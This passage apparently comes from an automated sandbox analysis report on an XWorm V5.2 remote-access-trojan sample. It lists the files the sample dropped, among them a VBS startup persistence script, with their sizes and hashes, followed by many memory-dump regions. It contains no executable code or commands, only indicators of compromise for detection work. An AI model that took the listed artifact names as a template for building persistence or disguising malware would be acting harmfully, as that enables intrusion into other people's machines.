                                                                                                        00bec3f89f9f27236adf0167d6382b60a2be56bdb6b00aae0117396e30e77a993b97d2b7f2af3ae96b81bce0b55bf177d4c4d0c272df05d72c2dc55577b14191

                                                                                                      • C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe

                                                                                                        Filesize

                                                                                                        12.2MB

                                                                                                        MD5

                                                                                                        8b7b015c1ea809f5c6ade7269bdc5610

                                                                                                        SHA1

                                                                                                        c67d5d83ca18731d17f79529cfdb3d3dcad36b96

                                                                                                        SHA256

                                                                                                        7fc9c7002b65bc1b33f72e019ed1e82008cc7b8e5b8eaf73fc41a3e6a246980e

                                                                                                        SHA512

                                                                                                        e652913f73326f9d8461ac2a631e1e413719df28c7938b38949c005fda501d9e159554c3e17a0d5826d279bb81efdef394f7fb6ff7289cf296c19e92fd924180

                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_agcd0qbi.piw.ps1

                                                                                                        Filesize

                                                                                                        60B

                                                                                                        MD5

                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                        SHA1

                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                        SHA256

                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                        SHA512

                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                      • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.vbs

                                                                                                        Filesize

                                                                                                        124B

                                                                                                        MD5

                                                                                                        01ab4014ff9173b34107937c8bbd34fd

                                                                                                        SHA1

                                                                                                        72d0f80f0b52cafac865ae3537b94071afc09b9e

                                                                                                        SHA256

                                                                                                        a9357bb43016080e42f219a84ccc411e8b4b236f136f8cd90ee1f25db6275ef6

                                                                                                        SHA512

                                                                                                        a6407427f144f93675fce74ee77fe42e9490252ec7fb50fcba7c95f8d4734de4173dde96460d9ce0ee286fc62546c191b5ffc33e375540ee3ab77173c99c5ca3

                                                                                                      • memory/1120-125-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/1260-134-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/1384-128-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/1512-171-0x000002A110410000-0x000002A110426000-memory.dmp

                                                                                                        Filesize

                                                                                                        88KB

                                                                                                      • memory/1512-262-0x000002A110430000-0x000002A11043C000-memory.dmp

                                                                                                        Filesize

                                                                                                        48KB

                                                                                                      • memory/1556-129-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/1616-122-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/1708-133-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/1924-3-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/1924-21-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/2412-39-0x000001CB4A640000-0x000001CB4A684000-memory.dmp

                                                                                                        Filesize

                                                                                                        272KB

                                                                                                      • memory/2412-41-0x000001CB31170000-0x000001CB31178000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2412-40-0x000001CB4A710000-0x000001CB4A786000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2412-42-0x000001CB4ADB0000-0x000001CB4BA2E000-memory.dmp

                                                                                                        Filesize

                                                                                                        12.5MB

                                                                                                      • memory/2436-127-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/2512-132-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/2556-131-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/2928-123-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/2952-124-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/3348-121-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/3452-120-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/3452-71-0x0000000007F80000-0x0000000007FAA000-memory.dmp

                                                                                                        Filesize

                                                                                                        168KB

                                                                                                      • memory/3584-27-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/3584-0-0x00007FFCD2ED3000-0x00007FFCD2ED5000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3584-2-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/3584-1-0x0000000000CB0000-0x0000000001EF2000-memory.dmp

                                                                                                        Filesize

                                                                                                        18.3MB

                                                                                                      • memory/4360-19-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/4360-7-0x00000166718A0000-0x00000166718C2000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/4360-6-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/4360-5-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/4360-4-0x00007FFCD2ED0000-0x00007FFCD3991000-memory.dmp

                                                                                                        Filesize

                                                                                                        10.8MB

                                                                                                      • memory/4420-126-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/4564-130-0x00007FFCB1390000-0x00007FFCB13A0000-memory.dmp

                                                                                                        Filesize

                                                                                                        64KB

                                                                                                      • memory/5096-182-0x000001B752D50000-0x000001B753988000-memory.dmp

                                                                                                        Filesize

                                                                                                        12.2MB

                                                                                                      • memory/5096-190-0x000001B76EDB0000-0x000001B76F99C000-memory.dmp

                                                                                                        Filesize

                                                                                                        11.9MB